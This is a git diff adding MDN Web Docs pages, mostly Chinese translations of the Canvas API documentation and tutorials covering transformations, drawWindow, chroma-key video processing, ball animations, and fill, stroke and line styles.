+  ctx.lineTo(25, -25);
+  ctx.lineTo(-25, 25);
+  ctx.closePath();
+  ctx.fill();
+}
+
+function dot(ctx) {
+  ctx.save();
+  ctx.fillStyle = "yellow";
+  ctx.fillRect(-2, -2, 4, 4);
+  ctx.restore();
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // note that all other translates are relative to this one
+  ctx.translate(45, 45);
+
+  ctx.save();
+  //ctx.translate(0, 0); // unnecessary
+  drawBowtie(ctx, "red");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 0);
+  ctx.rotate(45 * Math.PI / 180);
+  drawBowtie(ctx, "green");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(0, 85);
+  ctx.rotate(135 * Math.PI / 180);
+  drawBowtie(ctx, "blue");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 85);
+  ctx.rotate(90 * Math.PI / 180);
+  drawBowtie(ctx, "yellow");
+  dot(ctx);
+  ctx.restore();
+}
+
+ +

{{EmbedLiveSample('A_More_Complicated_Example','215','215','/@api/deki/files/604/=Canvas_ex3.png')}}

+

This defines two methods, drawBowtie and dot, that are called 4 times. Before each call, translate() and rotate() are used to set up the current transformation matrix, which in turn positions the dot and the bowtie. dot renders a small black square centered at (0, 0). That dot is moved around by the transformation matrix. drawBowtie renders a simple bowtie path using the passed-in fill style.

+

As matrix operations are cumulative, save() and restore() are used around each set of calls to restore the original canvas state. One thing to watch out for is that rotation always occurs around the current origin; thus a translate() rotate() translate() sequence will yield different results than a translate() translate() rotate() series of calls.

+

Compatibility With Apple <canvas>

+

For the most part, <canvas> is compatible with Apple's and other implementations. There are, however, a few issues to be aware of, described here.

+

Required </canvas> tag

+

In the Apple Safari implementation, <canvas> is an element implemented in much the same way <img> is; it does not have an end tag. However, for <canvas> to have widespread use on the web, some facility for fallback content must be provided. Therefore, Mozilla's implementation has a required end tag.

+

If fallback content is not needed, a simple <canvas id="foo" ...></canvas> will be fully compatible with both Safari and Mozilla -- Safari will simply ignore the end tag.

+

If fallback content is desired, some CSS tricks must be employed to mask the fallback content from Safari (which should render just the canvas), and also to mask the CSS tricks themselves from IE (which should render the fallback content).

+
canvas {
+  font-size: 0.00001px !ie;
+}
+

Additional Features

+

Rendering Web Content Into A Canvas

+
+ This feature is only available for code running with Chrome privileges. It is not allowed in normal HTML pages. Read why.
+

Mozilla's canvas is extended with the drawWindow() method. This method draws a snapshot of the contents of a DOM window into the canvas. For example,

+
ctx.drawWindow(window, 0, 0, 100, 200, "rgb(255,255,255)");
+
+

would draw the contents of the current window, in the rectangle (0,0,100,200) in pixels relative to the top-left of the viewport, on a white background, into the canvas. By specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower).

+

It is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background.

+

With this method, it is possible to fill a hidden IFRAME with arbitrary content (e.g., CSS-styled HTML text, or SVG) and draw it into a canvas. It will be scaled, rotated and so on according to the current transformation.

+

Ted Mielczarek's tab preview extension uses this technique in chrome to provide thumbnails of web pages, and the source is available for reference.

+
+ Note: Using canvas.drawWindow() while handling a document's onload event doesn't work. In Firefox 3.5 or later, you can do this in a handler for the MozAfterPaint event to successfully draw HTML content into a canvas on page load.
+

See also

+ diff --git a/files/zh-cn/web/api/canvas_api/index.html b/files/zh-cn/web/api/canvas_api/index.html new file mode 100644 index 0000000000..c10f589b23 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/index.html @@ -0,0 +1,138 @@ +--- +title: Canvas +slug: Web/API/Canvas_API +tags: + - API + - Canvas + - JavaScript + - WebGL +translation_of: Web/API/Canvas_API +--- +
{{CanvasSidebar}}
+ +

Canvas API 提供了一个通过JavaScript 和 HTML的{{HtmlElement("canvas")}}元素来绘制图形的方式。它可以用于动画、游戏画面、数据可视化、图片编辑以及实时视频处理等方面。

+ +

Canvas API主要聚焦于2D图形。而同样使用<canvas>元素的 WebGL API 则用于绘制硬件加速的2D和3D图形。

+ +

基础示例

+ +

这个简单的例子在画布绘制一个绿色的长方形。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

{{domxref("Document.getElementById()")}} 方法获取HTML <canvas> 元素的引用。接着,{{domxref("HTMLCanvasElement.getContext()")}} 方法获取这个元素的context——图像稍后将在此被渲染。

+ +

由 {{domxref("CanvasRenderingContext2D")}} 接口完成实际的绘制。{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} 属性让长方形变成绿色。{{domxref("CanvasRenderingContext2D.fillRect()", "fillRect()")}} 方法将它的左上角放在(10, 10),把它的大小设置成宽150高100。.

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 150, 100);
+ +

结果

+ +

{{ EmbedLiveSample('基础示例', 700, 180) }}

+ +

参考

+ +
+ +
+ +
+

备注:WebGLRenderingContext 有关的接口请参考 WebGL

+
+ +

{{domxref("CanvasCaptureMediaStream")}} 也与之相关。

+ +

教程与指导

+ +
+
Canvas 教程
+
一个综合性教程,包括了<canvas>的基本用法与高级功能。
+
代码片段: Canvas
+
一些面向开发者的 <canvas> 代码片段。
+
+
深入HTML5 Canvas
+
一个手把手的、长度与书本相若的Canvas API和WebGL介绍。
+
+
Demo:一个基础的光线追踪器
+
运用canvas制作的光线追踪动画示例。
+
+
使用canvas绘制视频 
+
结合{{HTMLElement("video")}}和 {{HTMLElement("canvas")}}来实现实时操作视频数据。
+
+ +

+ +

Canvas API是非常强大的,但不总是很容易使用。以下列出的库能够使创建基于canvas的项目更快和更简单。

+ + + +
+

备注: 与WebGL有关的2D和3D的库请参考 WebGL

+
+ +

标准

+ + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('HTML WHATWG', '#2dcontext', 'the 2D rendering context')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

Mozilla 程序从 Gecko 1.8 (Firefox 1.5) 开始支持 <canvas>。它首先是由 Apple 引入的,用于 OS X Dashboard 和 Safari。Internet Explorer 从IE9开始支持<canvas> ,更旧版本的IE中,页面可以通过引入 Google 的 Explorer Canvas 项目中的脚本来获得<canvas>支持。Google Chrome和Opera 9+ 也支持 <canvas>

+ +

其它相关

+ + + + diff --git a/files/zh-cn/web/api/canvas_api/manipulating_video_using_canvas/index.html b/files/zh-cn/web/api/canvas_api/manipulating_video_using_canvas/index.html new file mode 100644 index 0000000000..125ff125a6 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/manipulating_video_using_canvas/index.html @@ -0,0 +1,160 @@ +--- +title: 使用 canvas 处理视频 +slug: Web/API/Canvas_API/Manipulating_video_using_canvas +translation_of: Web/API/Canvas_API/Manipulating_video_using_canvas +--- +
{{CanvasSidebar}}
+ +
+

通过在一个 canvas (画布)上结合 video 元素功能,你可以实时地操纵视频数据来合成各种视觉特效到正在呈现的视频画面中。本教程示范如何使用 JavaScript 代码执行色度键控(也被称为“绿屏效果”)。

+
+ +

查看该实例

+ +

文档内容

+ +

以下是用于渲染该内容的 XHTML 文档。

+ +
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <style>
+      body {
+        background: black;
+        color:#CCCCCC;
+      }
+      #c2 {
+        background-image: url(foo.png);
+        background-repeat: no-repeat;
+      }
+      div {
+        float: left;
+        border :1px solid #444444;
+        padding:10px;
+        margin: 10px;
+        background:#3B3B3B;
+      }
+    </style>
+    <script type="text/javascript;" src="main.js"></script>
+  </head>
+
+  <body onload="processor.doLoad()">
+    <div>
+      <video id="video" src="video.ogv" controls="true"/>
+    </div>
+    <div>
+      <canvas id="c1" width="160" height="96"/>
+      <canvas id="c2" width="160" height="96"/>
+    </div>
+  </body>
+</html>
+
+ +

从这里带出的关键有:

+ +
    +
  1. 这篇文档布置了两个 canvas 元素,分别带着 ID 为 c1c2 的属性。Canvas c1 用于显示原视频的当前帧,而 c2 用于显示执行了色度键控效果后的视频;c2 预先加载将被用于替换视频中绿幕(绿色背景)的静态图像。
  2. +
  3. JavaScript 代码从一个名为 main.js 的脚本引入;这个脚本使用 JavaScript 1.8 特性,所以在22行引入脚本时它的 version(版本)是指定的。
  4. +
  5. 当文档加载时,在 main.js 里的 processor.doLoad() 方法开始执行。
  6. +
+ +

JavaScript 代码

+ +

main.js 里的 JavaScript 代码由三个方法组成。

+ +

初始化色键播放器

+ +

当 XHTML 文档最初加载时 doLoad() 方法被调用。这个方法的工作是准备色键处理代码所需的变量,并设置一个监听事件以便我们可以监测用户何时开始播放视频。

+ +
  var processor;
+
+  processor.doLoad = function doLoad() {
+    this.video = document.getElementById('video');
+    this.c1 = document.getElementById('c1');
+    this.ctx1 = this.c1.getContext('2d');
+    this.c2 = document.getElementById('c2');
+    this.ctx2 = this.c2.getContext('2d');
+    let self = this;
+    this.video.addEventListener('play', function() {
+        self.width = self.video.videoWidth / 2;
+        self.height = self.video.videoHeight / 2;
+        self.timerCallback();
+      }, false);
+  },
+
+ +

这段代码抓取 XHTML 文档中关键元素的引用,即 video 元素和两个 canvas 元素。它也获取了两个 canvas 各自的图形上下文引用。这些将在我们真正做色键控制效果的时候被用到。

+ +

然后 addEventListener() 被调用来开始监视 video 元素以便我们在用户按下视频上的播放按钮时获得通知。为响应用户开始回放,这段代码获取了视频的宽度和高度,并各自减半(当我们执行色度键控效果的时候我们将减半视频的尺寸),然后调用 timerCallback() 方法来开始监视视频以及计算视觉效果。

+ +

计时器回调

+ +

计时器回调最初在视频开始播放时(当“播放”事件发生时)被调用,然后负责设定自身定期被调用以便为每一帧启用键控效果。

+ +
  processor.timerCallback = function timerCallback() {
+    if (this.video.paused || this.video.ended) {
+      return;
+    }
+    this.computeFrame();
+    let self = this;
+    setTimeout(function() {
+        self.timerCallback();
+      }, 0);
+  },
+
+ +

回调做的第一件事情是检查视频是否正好在播放;如果不是,回调立即返回并不会做任何事情。

+ +

然后(如果视频正在播放)它调用 computeFrame() 方法,该方法对当前视频帧执行色度键控效果。

+ +

回调做的最后一件事是调用 setTimeout() 来设定它自身被尽快地再次调用。在真实环境中,你可能会根据视频的帧速率情况来计划实现这种调用。

+ +

操作视频帧数据

+ +

下方展示的 computeFrame() 方法负责真实获取一帧数据并执行色度键控效果。

+ +
  processor.computeFrame = function computeFrame() {
+    this.ctx1.drawImage(this.video, 0, 0, this.width, this.height);
+    let frame = this.ctx1.getImageData(0, 0, this.width, this.height);
+    let l = frame.data.length / 4;
+
+    for (let i = 0; i < l; i++) {
+      let r = frame.data[i * 4 + 0];
+      let g = frame.data[i * 4 + 1];
+      let b = frame.data[i * 4 + 2];
+      if (g > 100 && r > 100 && b < 43)
+        frame.data[i * 4 + 3] = 0;
+    }
+    this.ctx2.putImageData(frame, 0, 0);
+    return;
+  }
+
+ +

当这段例行程序被调用时,video 元素正显示最新的视频数据帧,就像这样:

+ +

video.png

+ +

在第2行,视频帧被复制到第一个 canvas 的图形上下文 ctx1 中,并指定了和我们之前保存的值一样的宽度和高度来绘制一半大小的帧。注意这点,你可以简单地把 video 元素放到上下文的 drawImage() 方法当中来绘制当前的视频帧到上下文里。效果如下:

+ +

sourcectx.png

+ +

第3行通过在第一个上下文里调用 getImageData() 方法获取到视频当前帧的原始图形数据的拷贝。它提供了原始的32位像素的图像数据使我们可以继续操作。第4行通过用帧的图像数据的总大小除以四来计算图像中的像素数。

+ +

从第6行开始 for 循环扫描帧的像素,取出每个像素的红、绿和蓝的值,并和用于检测绿幕的预设的数对比。其中绿幕将用从 foo.png 导入的静态背景图像替换。

+ +

每一个(数值)范围内得到的被认为是绿幕一部分的帧图像数据里的像素具有的 alpha 值被替换为零,以表示该像素完全透明。因此,最终的图像里的整个绿幕的区域 100% 透明,于是在13行当它被绘制到目标上下文中时,效果是作为一层遮罩覆于静态背景上面。

+ +

形成的图像像这样:

+ +

output.png

+ +

这随视频播放而被反复实现,所以一帧接着一帧被处理并带有色键效果被显示出来。

+ +

查看该实例

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/zh-cn/web/api/canvas_api/tutorial/advanced_animations/index.html new file mode 100644 index 0000000000..7547460968 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/advanced_animations/index.html @@ -0,0 +1,380 @@ +--- +title: 高级动画 +slug: Web/API/Canvas_API/Tutorial/Advanced_animations +tags: + - Canvas + - Graphics + - Tutorial +translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations +--- +
{{CanvasSidebar}} {{ PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}
+ +
+

在上一章,我们制作了基本动画以及逐步了解了让物件移动的方法。在这一部分,我们将会对运动有更深的了解并学会添加一些符合物理的运动以让我们的动画更加高级。

+
+ +

绘制小球

+ +

我们将会画一个小球用于动画学习,所以首先在画布上画一个球。下面的代码帮助我们建立画布。

+ +
<canvas id="canvas" width="600" height="300"></canvas>
+
+ +

跟平常一样,我们需要先画一个 context(画布场景)。为了画出这个球,我们又会创建一个包含一些相关属性以及 draw() 函数的 ball 对象,来完成绘制。

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+  x: 100,
+  y: 100,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+ball.draw();
+ +

这里并没有什么特别的。小球实际上是一个简单的圆形,在{{domxref("CanvasRenderingContext2D.arc()", "arc()")}} 函数的帮助下画出。

+ +

添加速率

+ +

现在我们有了一个小球,正准备添加一些基本动画,正如我们上一章所学的。又是这样,{{domxref("window.requestAnimationFrame()")}} 再一次帮助我们控制动画。小球依旧依靠添加速率矢量进行移动。在每一帧里面,我们依旧用{{domxref("CanvasRenderingContext2D.clearRect", "clear", "", 1)}} 清理掉之前帧里旧的圆形。

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e){
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e){
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+
+ +

边界  

+ +

若没有任何的碰撞检测,我们的小球很快就会超出画布。我们需要检查小球的 x 和 y 位置是否已经超出画布的尺寸以及是否需要将速度矢量反转。为了这么做,我们把下面的检查代码添加进 draw 函数:

+ +
if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {
+  ball.vx = -ball.vx;
+}
+ +

首个预览

+ +

让我们看看现今它变得如何。移动你的鼠标到画布里开启动画。

+ + + +

{{EmbedLiveSample("首个预览", "610", "310")}}

+ +

加速度

+ +

为了让动作更真实,你可以像这样处理速度,例如:

+ +
ball.vy *= .99;
+ball.vy += .25;
+ +

这会逐帧减少垂直方向的速度,所以小球最终将只会在地板上弹跳。

+ + + +

{{EmbedLiveSample("Second_demo", "610", "310")}}

+ +

长尾效果

+ +

现在,我们使用的是 {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}} 函数帮我们清除前一帧动画。若用一个半透明的 {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} 函数取代之,就可轻松制作长尾效果。

+ +
ctx.fillStyle = 'rgba(255,255,255,0.3)';
+ctx.fillRect(0,0,canvas.width,canvas.height);
+ + + +

{{EmbedLiveSample("Third_demo", "610", "310")}}

+ +

添加鼠标控制

+ +

为了更好地控制小球,我们可以用 mousemove事件让它跟随鼠标活动。下面例子中,click 事件会释放小球然后让它重新跳起。

+ + + +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 1,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function clear() {
+  ctx.fillStyle = 'rgba(255,255,255,0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+  clear();
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e){
+  if (!running) {
+    clear();
+    ball.x = e.offsetX;
+    ball.y = e.offsetY;
+    ball.draw();
+  }
+});
+
+canvas.addEventListener('click',function(e){
+  if (!running) {
+    raf = window.requestAnimationFrame(draw);
+    running = true;
+  }
+});
+
+canvas.addEventListener('mouseout', function(e){
+  window.cancelAnimationFrame(raf);
+  running = false;
+});
+
+ball.draw();
+
+ +

用你的鼠标移动小球,点击可以释放。

+ +

{{EmbedLiveSample("添加鼠标控制", "610", "310")}}

+ +

Breakout

+ +

本短文仅仅解释了一小部分的创建高级动画的技巧。其实还有更多!试试添加一个球拍,一些砖块,然后将这个例子弄成一个 Breakout(译者注:打砖块游戏) 如何?查看我们的游戏开发区去查阅更多相关文章。

+ +

参考

+ + + +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}

diff --git a/files/zh-cn/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/zh-cn/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html new file mode 100644 index 0000000000..f91fa50a87 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html @@ -0,0 +1,684 @@ +--- +title: 使用样式和颜色 +slug: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors +tags: + - Canvas +translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}
+ +
绘制图形的章节里,我只用到默认的线条和填充样式。而在这一章里,我们将会探讨 canvas 全部的可选项,来绘制出更加吸引人的内容。
+ +

色彩 Colors

+ +

到目前为止,我们只看到过绘制内容的方法。如果我们想要给图形上色,有两个重要的属性可以做到:fillStyle strokeStyle。

+ +
+
{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}
+
设置图形的填充颜色。
+
{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}
+
设置图形轮廓的颜色。
+
+ +

color 可以是表示 CSS 颜色值的字符串,渐变对象或者图案对象。我们迟些再回头探讨渐变和图案对象。默认情况下,线条和填充颜色都是黑色(CSS 颜色值 #000000)。

+ +
+

注意: 一旦您设置了 strokeStyle 或者 fillStyle 的值,那么这个新值就会成为新绘制的图形的默认值。如果你要给每个图形上不同的颜色,你需要重新设置 fillStylestrokeStyle 的值。

+
+ +

您输入的应该是符合 CSS3 颜色值标准 的有效字符串。下面的例子都表示同一种颜色。

+ +
// 这些 fillStyle 的值均为 '橙色'
+ctx.fillStyle = "orange";
+ctx.fillStyle = "#FFA500";
+ctx.fillStyle = "rgb(255,165,0)";
+ctx.fillStyle = "rgba(255,165,0,1)";
+
+ +

fillStyle 示例

+ +

在本示例里,我会再度用两层 for 循环来绘制方格阵列,每个方格不同的颜色。结果如右图,但实现所用的代码却没那么绚丽。我用了两个变量 i 和 j 来为每一个方格产生唯一的 RGB 色彩值,其中仅修改红色和绿色通道的值,而保持蓝色通道的值不变。你可以通过修改这些颜色通道的值来产生各种各样的色板。通过增加渐变的频率,你还可以绘制出类似 Photoshop 里面的那样的调色板。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i=0;i<6;i++){
+    for (var j=0;j<6;j++){
+      ctx.fillStyle = 'rgb(' + Math.floor(255-42.5*i) + ',' +
+                       Math.floor(255-42.5*j) + ',0)';
+      ctx.fillRect(j*25,i*25,25,25);
+    }
+  }
+}
+
+ + + +

结果如下:

+ +

{{EmbedLiveSample("A_fillStyle_example", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}

+ +

strokeStyle 示例

+ +

这个示例与上面的有点类似,但这次用到的是 strokeStyle 属性,画的不是方格,而是用 arc 方法来画圆。

+ +
  function draw() {
+    var ctx = document.getElementById('canvas').getContext('2d');
+    for (var i=0;i<6;i++){
+      for (var j=0;j<6;j++){
+        ctx.strokeStyle = 'rgb(0,' + Math.floor(255-42.5*i) + ',' +
+                         Math.floor(255-42.5*j) + ')';
+        ctx.beginPath();
+        ctx.arc(12.5+j*25,12.5+i*25,10,0,Math.PI*2,true);
+        ctx.stroke();
+      }
+    }
+  }
+
+ + + +

结果如下:

+ +

{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}

+ +

透明度 Transparency

+ +

除了可以绘制实色图形,我们还可以用 canvas 来绘制半透明的图形。通过设置 globalAlpha 属性或者使用一个半透明颜色作为轮廓或填充的样式。

+ +
+
{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}
+
这个属性影响到 canvas 里所有图形的透明度,有效的值范围是 0.0 (完全透明)到 1.0(完全不透明),默认是 1.0。
+
+ +

globalAlpha 属性在需要绘制大量拥有相同透明度的图形时候相当高效。不过,我认为下面的方法可操作性更强一点。

+ +

因为 strokeStylefillStyle 属性接受符合 CSS 3 规范的颜色值,那我们可以用下面的写法来设置具有透明度的颜色。

+ +
// 指定透明颜色,用于描边填充样式
+ctx.strokeStyle = "rgba(255,0,0,0.5)";
+ctx.fillStyle = "rgba(255,0,0,0.5)";
+
+ +

rgba() 方法与 rgb() 方法类似,就多了一个用于设置色彩透明度的参数。它的有效范围是从 0.0(完全透明)到 1.0(完全不透明)。

+ +

globalAlpha 示例

+ +

在这个例子里,将用四色格作为背景,设置 globalAlpha0.2 后,在上面画一系列半径递增的半透明圆。最终结果是一个径向渐变效果。圆叠加得越更多,原先所画的圆的透明度会越低。通过增加循环次数,画更多的圆,从中心到边缘部分,背景图会呈现逐渐消失的效果。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  // 画背景
+  ctx.fillStyle = '#FD0';
+  ctx.fillRect(0,0,75,75);
+  ctx.fillStyle = '#6C0';
+  ctx.fillRect(75,0,75,75);
+  ctx.fillStyle = '#09F';
+  ctx.fillRect(0,75,75,75);
+  ctx.fillStyle = '#F30';
+  ctx.fillRect(75,75,75,75);
+  ctx.fillStyle = '#FFF';
+
+  // 设置透明度值
+  ctx.globalAlpha = 0.2;
+
+  // 画半透明圆
+  for (var i=0;i<7;i++){
+      ctx.beginPath();
+      ctx.arc(75,75,10+10*i,0,Math.PI*2,true);
+      ctx.fill();
+  }
+}
+
+ + + +

{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}

+ +

rgba() 示例

+ +

第二个例子和上面那个类似,不过不是画圆,而是画矩形。这里还可以看出,rgba() 可以分别设置轮廓和填充样式,因而具有更好的可操作性和使用灵活性

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 画背景
+  ctx.fillStyle = 'rgb(255,221,0)';
+  ctx.fillRect(0,0,150,37.5);
+  ctx.fillStyle = 'rgb(102,204,0)';
+  ctx.fillRect(0,37.5,150,37.5);
+  ctx.fillStyle = 'rgb(0,153,255)';
+  ctx.fillRect(0,75,150,37.5);
+  ctx.fillStyle = 'rgb(255,51,0)';
+  ctx.fillRect(0,112.5,150,37.5);
+
+  // 画半透明矩形
+  for (var i=0;i<10;i++){
+    ctx.fillStyle = 'rgba(255,255,255,'+(i+1)/10+')';
+    for (var j=0;j<4;j++){
+      ctx.fillRect(5+i*14,5+j*37.5,14,27.5)
+    }
+  }
+}
+
+ + + +

{{EmbedLiveSample("An_example_using_rgba", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}

+ +

线型 Line styles

+ +

可以通过一系列属性来设置线的样式。

+ +
+
{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}
+
设置线条宽度。
+
{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}
+
设置线条末端样式。
+
{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}
+
设定线条与线条间接合处的样式
+
{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}
+
限制当两条线相交时交接处最大长度所谓交接处长度斜接长度是指线条交接处内角顶点到外角顶点的长度
+
+ +
+
{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}
+
返回一个包含当前虚线样式,长度为非负偶数的数组。
+
{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}
+
设置当前虚线样式。
+
{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}
+
设置虚线样式的起始偏移量。
+
+ +

通过以下的样例可能会更加容易理解。

+ +

lineWidth 属性的例子

+ +

这个属性设置当前绘线的粗细。属性值必须为正数。默认值是1.0。

+ +

线宽是指给定路径的中心到两边的粗细。换句话说就是在路径的两边各绘制线宽的一半。因为画布的坐标并不和像素直接对应,当需要获得精确的水平或垂直线的时候要特别注意。

+ +

在下面的例子中,用递增的宽度绘制了10条直线。最左边的线宽1.0单位。并且,最左边的以及所有宽度为奇数的线并不能精确呈现,这就是因为路径的定位问题。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i < 10; i++){
+    ctx.lineWidth = 1+i;
+    ctx.beginPath();
+    ctx.moveTo(5+i*14,5);
+    ctx.lineTo(5+i*14,140);
+    ctx.stroke();
+  }
+}
+
+ + + +

{{EmbedLiveSample("A_lineWidth_example", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}

+ +

想要获得精确的线条,必须对线条是如何描绘出来的有所理解。见下图,用网格来代表 canvas 的坐标格,每一格对应屏幕上一个像素点。在第一个图中,填充了 (2,1) 至 (5,5) 的矩形,整个区域的边界刚好落在像素边缘上,这样就可以得到的矩形有着清晰的边缘。

+ +

+ +

如果你想要绘制一条从 (3,1) 到 (3,5),宽度是 1.0 的线条,你会得到像第二幅图一样的结果。实际填充区域(深蓝色部分)仅仅延伸至路径两旁各一半像素。而这半个像素又会以近似的方式进行渲染,这意味着那些像素只是部分着色,结果就是以实际笔触颜色一半色调的颜色来填充整个区域(浅蓝和深蓝的部分)。这就是上例中为何宽度为 1.0 的线并不准确的原因。

+ +

要解决这个问题,你必须对路径施以更加精确的控制。已知粗 1.0 的线条会在路径两边各延伸半像素,那么像第三幅图那样绘制从 (3.5,1) 到 (3.5,5) 的线条,其边缘正好落在像素边界,填充出来就是准确的宽为 1.0 的线条。

+ +
+

注意:在这个竖线的例子中,其Y坐标刚好落在网格线上,否则端点上同样会出现半渲染的像素点(但还要注意,这种行为的表现取决于当前的lineCap风格,它默认为butt;您可能希望通过将lineCap样式设置为square正方形,来得到与奇数宽度线的半像素坐标相一致的笔画,这样,端点轮廓的外边框将被自动扩展以完全覆盖整个像素格)。

+ +

还请注意,只有路径的起点和终点受此影响:如果一个路径是通过closePath()来封闭的,它是没有起点和终点的;相反的情况下,路径上的所有端点都与上一个点相连,下一段路径使用当前的lineJoin设置(默认为miter),如果相连路径是水平和/或垂直的话,会导致相连路径的外轮廓根据相交点自动延伸,因此渲染出的路径轮廓会覆盖整个像素格。接下来的两个小节将展示这些额外的行样式。

+
+ +

对于那些宽度为偶数的线条,每一边的像素数都是整数,那么你想要其路径是落在像素点之间 (如那从 (3,1) 到 (3,5)) 而不是在像素点的中间。同样,注意到那个例子的垂直线条,其 Y 坐标刚好落在网格线上,如果不是的话,端点上同样会出现半渲染的像素点。

+ +

虽然开始处理可缩放的 2D 图形时会有点小痛苦,但是及早注意到像素网格与路径位置之间的关系,可以确保图形在经过缩放或者其它任何变形后都可以保持看上去蛮好:线宽为 1.0 的垂线在放大 2 倍后,会变成清晰的线宽为 2.0,并且出现在它应该出现的位置上。

+ +

lineCap 属性的例子

+ +

属性 lineCap 的值决定了线段端点显示的样子。它可以为下面的三种的其中之一:buttroundsquare。默认是 butt。

+ +

在这个例子里面,我绘制了三条直线,分别赋予不同的 lineCap 值。还有两条辅助线,为了可以看得更清楚它们之间的区别,三条线的起点终点都落在辅助线上。

+ +

